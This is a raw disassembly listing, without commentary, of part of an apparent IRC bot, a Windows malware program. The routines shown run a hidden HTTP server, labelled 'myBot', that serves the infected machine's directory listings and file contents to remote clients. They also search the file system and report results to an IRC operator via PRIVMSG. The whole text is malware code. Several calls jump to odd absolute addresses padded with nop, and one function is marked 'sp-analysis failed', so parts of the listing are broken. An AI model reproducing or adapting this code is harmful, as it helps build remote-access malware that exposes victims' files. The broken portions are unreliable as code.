		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 28E0000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 28D14A2h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------


loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h


loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CB674
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------


loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h


loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB6BC
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 288097Dh
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------


loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2


loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------


loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------


loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al


loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al


loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D


loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429A94
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_42A068 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 2830500h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------


loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi


loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi


loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_434168 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------


loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx


loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB6BC
		jmp	loc_40F963
; ---------------------------------------------------------------------------


loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 28B0703h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 28E0A73h
		nop
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 28005AFh


loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434134
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E564[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E574[ecx], eax
		jz	short loc_40F935


loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		call	near ptr 2820566h
		nop
		jmp	short loc_40F923
; ---------------------------------------------------------------------------


loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB6BC
		nop
		call	near ptr 2830047h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_4340FC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_42A068 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------


loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------


loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14


loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08


loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674


loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	near ptr 2760000h
		nop
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2910000h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh


loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2900000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 28F09B1h
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"


loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch


loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------


loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------


loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------


loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------


loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429A94
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------


loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------


loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi


loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h


loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 2820566h


loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2910000h
		nop
		test	eax, eax
		jnz	loc_40FB8F


loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		call	near ptr 28F0000h
		nop
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------


loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB674
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		nop
		call	near ptr 28B0703h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		nop
		call	near ptr 28E0A73h
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1


loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]


loc_41004D:				; DATA XREF: ___:004380F0o
					; ___:00438104o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]


loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2920000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	near ptr 28B0000h
		nop
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CB5B8
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax


loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035


loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		nop
		call	near ptr 28005AFh


loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6


loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh


loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0


loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB594
		push	6
		push	1
		push	2
		call	dword_4CB6A4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB624
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
